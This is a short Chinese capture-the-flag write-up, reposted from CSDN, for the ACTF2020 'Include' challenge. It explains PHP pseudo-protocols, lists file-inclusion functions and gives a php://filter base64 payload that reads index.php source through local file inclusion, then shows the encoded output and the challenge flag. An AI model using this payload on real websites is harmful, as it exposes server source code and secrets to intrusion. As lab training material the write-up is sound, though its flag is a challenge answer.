欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 汽车 > 维修 > [ACTF2020 新生赛]Include

[ACTF2020 新生赛]Include

2025/11/15 22:25:19 来源:https://blog.csdn.net/nive15/article/details/144272728  浏览:    关键词:[ACTF2020 新生赛]Include

感觉毫无头绪e一下,发现要使用伪协议

伪协议:是PHP自己支持的一种协议与封装协议,简单说就是PHP定义的一种特殊访问资源的方法。

2.什么时候用PHP伪协议?

可能遇到的文件包含函数:

1、include

2、require

3、include_once

4、require_once

5、highlight_file

6、show_source

7、flie

8、readfile

9、file_get_contents

10、file_put_contents

11、fopen (比较常见)

根据上述内容构造:

/file=php://filter/read=convert.base64-encode/resource=index.php

得到的内容变为base64编码

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NjY1ZWIxOGEtNTA4Ni00ZTUzLTk5YzEtNmE1N2YwZDVmMDgwfQo=

放入随波逐流一键解码

flag{665eb18a-5086-4e53-99c1-6a57f0d5f080}

参考文章:⭐️PHP伪协议详解-CSDN博客

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词